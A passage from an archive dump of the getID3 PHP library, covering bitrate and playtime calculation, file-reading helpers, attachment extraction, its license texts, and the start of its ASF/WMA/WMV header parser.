($this->info['audio']['channels'] == 2) { $this->info['audio']['channelmode'] = 'stereo'; } // Calculate combined bitrate - audio + video $CombinedBitrate = 0; $CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0); $CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0); if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) { $this->info['bitrate'] = $CombinedBitrate; } //if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) { // // for example, VBR MPEG video files cannot determine video bitrate: // // should not set overall bitrate and playtime from audio bitrate only // unset($this->info['bitrate']); //} // video bitrate undetermined, but calculable if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) { // if video bitrate not set if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) { // AND if audio bitrate is set to same as overall bitrate if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) { // AND if playtime is set if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) { // AND if AV data offset start/end is known // THEN we can calculate the video bitrate $this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']); $this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate']; } } } } if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) { $this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate']; } if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) { $this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']; } if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) { if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) { // audio only $this->info['audio']['bitrate'] = $this->info['bitrate']; } elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) { // video only $this->info['video']['bitrate'] = $this->info['bitrate']; } } // Set playtime string if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) { $this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']); } } /** * @return bool */ public function CalculateCompressionRatioVideo() { if (empty($this->info['video'])) { return false; } if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) { return false; } if (empty($this->info['video']['bits_per_sample'])) { return false; } switch ($this->info['video']['dataformat']) { case 'bmp': case 'gif': case 'jpeg': case 'jpg': case 'png': case 'tiff': $FrameRate = 1; $PlaytimeSeconds = 1; $BitrateCompressed = $this->info['filesize'] * 8; break; default: if (!empty($this->info['video']['frame_rate'])) { $FrameRate = $this->info['video']['frame_rate']; } else { return false; } if (!empty($this->info['playtime_seconds'])) { $PlaytimeSeconds = $this->info['playtime_seconds']; } else { return false; } if (!empty($this->info['video']['bitrate'])) { $BitrateCompressed = $this->info['video']['bitrate']; } else { return false; } break; } $BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate; $this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed; return true; } /** * @return bool */ public function CalculateCompressionRatioAudio() { if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) { return false; } $this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16)); if (!empty($this->info['audio']['streams'])) { foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) { if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) { $this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16)); } } } return true; } /** * @return bool */ public function CalculateReplayGain() { if (isset($this->info['replay_gain'])) { if (!isset($this->info['replay_gain']['reference_volume'])) { $this->info['replay_gain']['reference_volume'] = 89.0; } if (isset($this->info['replay_gain']['track']['adjustment'])) { $this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment']; } if (isset($this->info['replay_gain']['album']['adjustment'])) { $this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment']; } if (isset($this->info['replay_gain']['track']['peak'])) { $this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']); } if (isset($this->info['replay_gain']['album']['peak'])) { $this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']); } } return true; } /** * @return bool */ public function ProcessAudioStreams() { if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) { if (!isset($this->info['audio']['streams'])) { foreach ($this->info['audio'] as $key => $value) { if ($key != 'streams') { $this->info['audio']['streams'][0][$key] = $value; } } } } return true; } /** * @return string|bool */ public function getid3_tempnam() { return tempnam($this->tempdir, 'gI3'); } /** * @param string $name * * @return bool * * @throws getid3_exception */ public function include_module($name) { //if (!file_exists($this->include_path.'module.'.$name.'.php')) { if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) { throw new getid3_exception('Required module.'.$name.'.php is missing.'); } include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php'); return true; } /** * @param string $filename * * @return bool */ public static function is_writable ($filename) { $ret = is_writable($filename); if (!$ret) { $perms = fileperms($filename); $ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002); } return $ret; } } abstract class getid3_handler { /** * @var getID3 */ protected $getid3; // pointer /** * Analyzing filepointer or string. * * @var bool */ protected $data_string_flag = false; /** * String to analyze. * * @var string */ protected $data_string = ''; /** * Seek position in string. * * @var int */ protected $data_string_position = 0; /** * String length. * * @var int */ protected $data_string_length = 0; /** * @var string */ private $dependency_to; /** * getid3_handler constructor. * * @param getID3 $getid3 * @param string $call_module */ public function __construct(getID3 $getid3, $call_module=null) { $this->getid3 = $getid3; if ($call_module) { $this->dependency_to = str_replace('getid3_', '', $call_module); } } /** * Analyze from file pointer. * * @return bool */ abstract public function Analyze(); /** * Analyze from string instead. * * @param string $string */ public function AnalyzeString($string) { // Enter string mode $this->setStringMode($string); // Save info $saved_avdataoffset = $this->getid3->info['avdataoffset']; $saved_avdataend = $this->getid3->info['avdataend']; $saved_filesize = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call // Reset some info $this->getid3->info['avdataoffset'] = 0; $this->getid3->info['avdataend'] = $this->getid3->info['filesize'] = $this->data_string_length; // Analyze $this->Analyze(); // Restore some info $this->getid3->info['avdataoffset'] = $saved_avdataoffset; $this->getid3->info['avdataend'] = $saved_avdataend; $this->getid3->info['filesize'] = $saved_filesize; // Exit string mode $this->data_string_flag = false; } /** * @param string $string */ public function setStringMode($string) { $this->data_string_flag = true; $this->data_string = $string; $this->data_string_length = strlen($string); } /** * @return int|bool */ protected function ftell() { if ($this->data_string_flag) { return $this->data_string_position; } return ftell($this->getid3->fp); } /** * @param int $bytes * * @return string|false * * @throws getid3_exception */ protected function fread($bytes) { if ($this->data_string_flag) { $this->data_string_position += $bytes; return substr($this->data_string, $this->data_string_position - $bytes, $bytes); } $pos = $this->ftell() + $bytes; if (!getid3_lib::intValueSupported($pos)) { throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10); } //return fread($this->getid3->fp, $bytes); /* * https://www.getid3.org/phpBB3/viewtopic.php?t=1930 * "I found out that the root cause for the problem was how getID3 uses the PHP system function fread(). * It seems to assume that fread() would always return as many bytes as were requested. * However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes. * The call may return only part of the requested data and a new call is needed to get more." */ $contents = ''; do { //if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) { if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)" throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10); } $part = fread($this->getid3->fp, $bytes); $partLength = strlen($part); $bytes -= $partLength; $contents .= $part; } while (($bytes > 0) && ($partLength > 0)); return $contents; } /** * @param int $bytes * @param int $whence * * @return int * * @throws getid3_exception */ protected function fseek($bytes, $whence=SEEK_SET) { if ($this->data_string_flag) { switch ($whence) { case SEEK_SET: $this->data_string_position = $bytes; break; case SEEK_CUR: $this->data_string_position += $bytes; break; case SEEK_END: $this->data_string_position = $this->data_string_length + $bytes; break; } return 0; } else { $pos = $bytes; if ($whence == SEEK_CUR) { $pos = $this->ftell() + $bytes; } elseif ($whence == SEEK_END) { $pos = $this->getid3->info['filesize'] + $bytes; } if (!getid3_lib::intValueSupported($pos)) { throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10); } } return fseek($this->getid3->fp, $bytes, $whence); } /** * @return string|false * * @throws getid3_exception */ protected function fgets() { // must be able to handle CR/LF/CRLF but not read more than one lineend $buffer = ''; // final string we will return $prevchar = ''; // save previously-read character for end-of-line checking if ($this->data_string_flag) { while (true) { $thischar = substr($this->data_string, $this->data_string_position++, 1); if (($prevchar == "\r") && ($thischar != "\n")) { // read one byte too many, back up $this->data_string_position--; break; } $buffer .= $thischar; if ($thischar == "\n") { break; } if ($this->data_string_position >= $this->data_string_length) { // EOF break; } $prevchar = $thischar; } } else { // Ideally we would just use PHP's fgets() function, however... // it does not behave consistently with regards to mixed line endings, may be system-dependent // and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs) //return fgets($this->getid3->fp); while (true) { $thischar = fgetc($this->getid3->fp); if (($prevchar == "\r") && ($thischar != "\n")) { // read one byte too many, back up fseek($this->getid3->fp, -1, SEEK_CUR); break; } $buffer .= $thischar; if ($thischar == "\n") { break; } if (feof($this->getid3->fp)) { break; } $prevchar = $thischar; } } return $buffer; } /** * @return bool */ protected function feof() { if ($this->data_string_flag) { return $this->data_string_position >= $this->data_string_length; } return feof($this->getid3->fp); } /** * @param string $module * * @return bool */ final protected function isDependencyFor($module) { return $this->dependency_to == $module; } /** * @param string $text * * @return bool */ protected function error($text) { $this->getid3->info['error'][] = $text; return false; } /** * @param string $text * * @return bool */ protected function warning($text) { return $this->getid3->warning($text); } /** * @param string $text */ protected function notice($text) { // does nothing for now } /** * @param string $name * @param int $offset * @param int $length * @param string $image_mime * * @return string|null * * @throws Exception * @throws getid3_exception */ public function saveAttachment($name, $offset, $length, $image_mime=null) { try { // do not extract at all if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) { $attachment = null; // do not set any // extract to return array } elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) { $this->fseek($offset); $attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory if ($attachment === false || strlen($attachment) != $length) { throw new Exception('failed to read attachment data'); } // assume directory path is given } else { // set up destination path $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory throw new Exception('supplied path ('.$dir.') does not exist, or is not writable'); } $dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : ''); // create dest file if (($fp_dest = fopen($dest, 'wb')) == false) { throw new Exception('failed to create file '.$dest); } // copy data $this->fseek($offset); $buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size()); $bytesleft = $length; while ($bytesleft > 0) { if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) { throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space'); } $bytesleft -= $byteswritten; } fclose($fp_dest); $attachment = $dest; } } catch (Exception $e) { // close and remove dest file if created if (isset($fp_dest) && is_resource($fp_dest)) { fclose($fp_dest); } if (isset($dest) && file_exists($dest)) { unlink($dest); } // do not set any is case of error $attachment = null; $this->warning('Failed to extract attachment '.$name.': '.$e->getMessage()); } // seek to the end of attachment $this->fseek($offset + $length); return $attachment; } } class getid3_exception extends Exception { public $message; } ID3/license.commercial.txt000064400000002433151202620270011417 0ustar00 getID3() Commercial License =========================== getID3() is licensed under the "GNU Public License" (GPL) and/or the "getID3() Commercial License" (gCL). This document describes the gCL. --------------------------------------------------------------------- The license is non-exclusively granted to a single person or company, per payment of the license fee, for the lifetime of that person or company. The license is non-transferrable. The gCL grants the licensee the right to use getID3() in commercial closed-source projects. Modifications may be made to getID3() with no obligation to release the modified source code. getID3() (or pieces thereof) may be included in any number of projects authored (in whole or in part) by the licensee. The licensee may use any version of getID3(), past, present or future, as is most convenient. This license does not entitle the licensee to receive any technical support, updates or bugfixes, except as such are made publicly available to all getID3() users. The licensee may not sub-license getID3() itself, meaning that any commercially released product containing all or parts of getID3() must have added functionality beyond what is available in getID3(); getID3() itself may not be re-licensed by the licensee. ID3/license.txt000064400000002521151202620270007303 0ustar00///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich // // available at http://getid3.sourceforge.net // // or https://www.getid3.org // // also https://github.com/JamesHeinrich/getID3 // ///////////////////////////////////////////////////////////////// ***************************************************************** ***************************************************************** getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. GNU GPL: https://gnu.org/licenses/gpl.html (v3) https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) getID3 Commercial License: https://www.getid3.org/#gCL (payment required) ***************************************************************** ***************************************************************** Copies of each of the above licenses are included in the 'licenses' directory of the getID3 distribution. ID3/module.audio-video.asf.php000064400000372124151202620270012103 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.asf.php // // module for analyzing ASF, WMA and WMV files // // dependencies: module.audio-video.riff.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); class getid3_asf extends getid3_handler { /** * @param getID3 $getid3 */ public function __construct(getID3 $getid3) { parent::__construct($getid3); // extends getid3_handler::__construct() // initialize all GUID constants $GUIDarray = $this->KnownGUIDs(); foreach ($GUIDarray as $GUIDname => $hexstringvalue) { if (!defined($GUIDname)) { define($GUIDname, $this->GUIDtoBytestring($hexstringvalue)); } } } /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // Shortcuts $thisfile_audio = &$info['audio']; $thisfile_video = &$info['video']; $info['asf'] = array(); $thisfile_asf = &$info['asf']; $thisfile_asf['comments'] = array(); $thisfile_asf_comments = &$thisfile_asf['comments']; $thisfile_asf['header_object'] = array(); $thisfile_asf_headerobject = &$thisfile_asf['header_object']; // ASF structure: // * Header Object [required] // * File Properties Object [required] (global file attributes) // * Stream Properties Object [required] (defines media stream & characteristics) // * Header Extension Object [required] (additional functionality) // * Content Description Object (bibliographic information) // * Script Command Object (commands for during playback) // * Marker Object (named jumped points within the file) // * Data Object [required] // * Data Packets // * Index Object // Header Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for header object - GETID3_ASF_Header_Object // Object Size QWORD 64 // size of header object, including 30 bytes of Header Object header // Number of Header Objects DWORD 32 // number of objects in header object // Reserved1 BYTE 8 // hardcoded: 0x01 // Reserved2 BYTE 8 // hardcoded: 0x02 $info['fileformat'] = 'asf'; $this->fseek($info['avdataoffset']); $HeaderObjectData = $this->fread(30); $thisfile_asf_headerobject['objectid'] = substr($HeaderObjectData, 0, 16); $thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']); if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) { unset($info['fileformat'], $info['asf']); return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}'); } $thisfile_asf_headerobject['objectsize'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8)); $thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4)); $thisfile_asf_headerobject['reserved1'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1)); $thisfile_asf_headerobject['reserved2'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1)); $NextObjectOffset = $this->ftell(); $ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30); $offset = 0; $thisfile_asf_streambitratepropertiesobject = array(); $thisfile_asf_codeclistobject = array(); for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) { $NextObjectGUID = substr($ASFHeaderData, $offset, 16); $offset += 16; $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); $NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; switch ($NextObjectGUID) { case GETID3_ASF_File_Properties_Object: // File Properties Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for file properties object - GETID3_ASF_File_Properties_Object // Object Size QWORD 64 // size of file properties object, including 104 bytes of File Properties Object header // File ID GUID 128 // unique ID - identical to File ID in Data Object // File Size QWORD 64 // entire file in bytes. Invalid if Broadcast Flag == 1 // Creation Date QWORD 64 // date & time of file creation. Maybe invalid if Broadcast Flag == 1 // Data Packets Count QWORD 64 // number of data packets in Data Object. Invalid if Broadcast Flag == 1 // Play Duration QWORD 64 // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1 // Send Duration QWORD 64 // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1 // Preroll QWORD 64 // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount // Flags DWORD 32 // // * Broadcast Flag bits 1 (0x01) // file is currently being written, some header values are invalid // * Seekable Flag bits 1 (0x02) // is file seekable // * Reserved bits 30 (0xFFFFFFFC) // reserved - set to zero // Minimum Data Packet Size DWORD 32 // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1 // Maximum Data Packet Size DWORD 32 // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1 // Maximum Bitrate DWORD 32 // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead // shortcut $thisfile_asf['file_properties_object'] = array(); $thisfile_asf_filepropertiesobject = &$thisfile_asf['file_properties_object']; $thisfile_asf_filepropertiesobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_filepropertiesobject['objectid'] = $NextObjectGUID; $thisfile_asf_filepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_filepropertiesobject['objectsize'] = $NextObjectSize; $thisfile_asf_filepropertiesobject['fileid'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_filepropertiesobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']); $thisfile_asf_filepropertiesobject['filesize'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['creation_date'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']); $offset += 8; $thisfile_asf_filepropertiesobject['data_packets'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['play_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['send_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['preroll'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001); $thisfile_asf_filepropertiesobject['flags']['seekable'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002); $thisfile_asf_filepropertiesobject['min_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['max_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['max_bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) { // broadcast flag is set, some values invalid unset($thisfile_asf_filepropertiesobject['filesize']); unset($thisfile_asf_filepropertiesobject['data_packets']); unset($thisfile_asf_filepropertiesobject['play_duration']); unset($thisfile_asf_filepropertiesobject['send_duration']); unset($thisfile_asf_filepropertiesobject['min_packet_size']); unset($thisfile_asf_filepropertiesobject['max_packet_size']); } else { // broadcast flag NOT set, perform calculations $info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000); //$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate']; $info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds']; } break; case GETID3_ASF_Stream_Properties_Object: // Stream Properties Object: (mandatory, one per media stream) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object // Object Size QWORD 64 // size of stream properties object, including 78 bytes of Stream Properties Object header // Stream Type GUID 128 // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media // Error Correction Type GUID 128 // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types // Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream // Type-Specific Data Length DWORD 32 // number of bytes for Type-Specific Data field // Error Correction Data Length DWORD 32 // number of bytes for Error Correction Data field // Flags WORD 16 // // * Stream Number bits 7 (0x007F) // number of this stream. 1 <= valid <= 127 // * Reserved bits 8 (0x7F80) // reserved - set to zero // * Encrypted Content Flag bits 1 (0x8000) // stream contents encrypted if set // Reserved DWORD 32 // reserved - set to zero // Type-Specific Data BYTESTREAM variable // type-specific format data, depending on value of Stream Type // Error Correction Data BYTESTREAM variable // error-correction-specific format data, depending on value of Error Correct Type // There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the // stream number isn't known until halfway through decoding the structure, hence it // it is decoded to a temporary variable and then stuck in the appropriate index later $StreamPropertiesObjectData['offset'] = $NextObjectOffset + $offset; $StreamPropertiesObjectData['objectid'] = $NextObjectGUID; $StreamPropertiesObjectData['objectid_guid'] = $NextObjectGUIDtext; $StreamPropertiesObjectData['objectsize'] = $NextObjectSize; $StreamPropertiesObjectData['stream_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $StreamPropertiesObjectData['stream_type_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']); $StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']); $StreamPropertiesObjectData['time_offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $StreamPropertiesObjectData['type_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $StreamPropertiesObjectData['error_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $StreamPropertiesObjectData['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $StreamPropertiesObjectStreamNumber = $StreamPropertiesObjectData['flags_raw'] & 0x007F; $StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000); $offset += 4; // reserved - DWORD $StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']); $offset += $StreamPropertiesObjectData['type_data_length']; $StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']); $offset += $StreamPropertiesObjectData['error_data_length']; switch ($StreamPropertiesObjectData['stream_type']) { case GETID3_ASF_Audio_Media: $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); $thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr'); $audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16)); unset($audiodata['raw']); $thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio); break; case GETID3_ASF_Video_Media: $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); $thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr'); break; case GETID3_ASF_Command_Media: default: // do nothing break; } $thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData; unset($StreamPropertiesObjectData); // clear for next stream, if any break; case GETID3_ASF_Header_Extension_Object: // Header Extension Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object // Object Size QWORD 64 // size of Header Extension object, including 46 bytes of Header Extension Object header // Reserved Field 1 GUID 128 // hardcoded: GETID3_ASF_Reserved_1 // Reserved Field 2 WORD 16 // hardcoded: 0x00000006 // Header Extension Data Size DWORD 32 // in bytes. valid: 0, or > 24. equals object size minus 46 // Header Extension Data BYTESTREAM variable // array of zero or more extended header objects // shortcut $thisfile_asf['header_extension_object'] = array(); $thisfile_asf_headerextensionobject = &$thisfile_asf['header_extension_object']; $thisfile_asf_headerextensionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_headerextensionobject['objectid'] = $NextObjectGUID; $thisfile_asf_headerextensionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_headerextensionobject['objectsize'] = $NextObjectSize; $thisfile_asf_headerextensionobject['reserved_1'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_headerextensionobject['reserved_1_guid'] = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']); if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) { $this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')'); //return false; break; } $thisfile_asf_headerextensionobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) { $this->warning('header_extension_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_headerextensionobject['reserved_2']).') does not match expected value of "6"'); //return false; break; } $thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_headerextensionobject['extension_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']); $unhandled_sections = 0; $thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections); if ($unhandled_sections === 0) { unset($thisfile_asf_headerextensionobject['extension_data']); } $offset += $thisfile_asf_headerextensionobject['extension_data_size']; break; case GETID3_ASF_Codec_List_Object: // Codec List Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Codec List object - 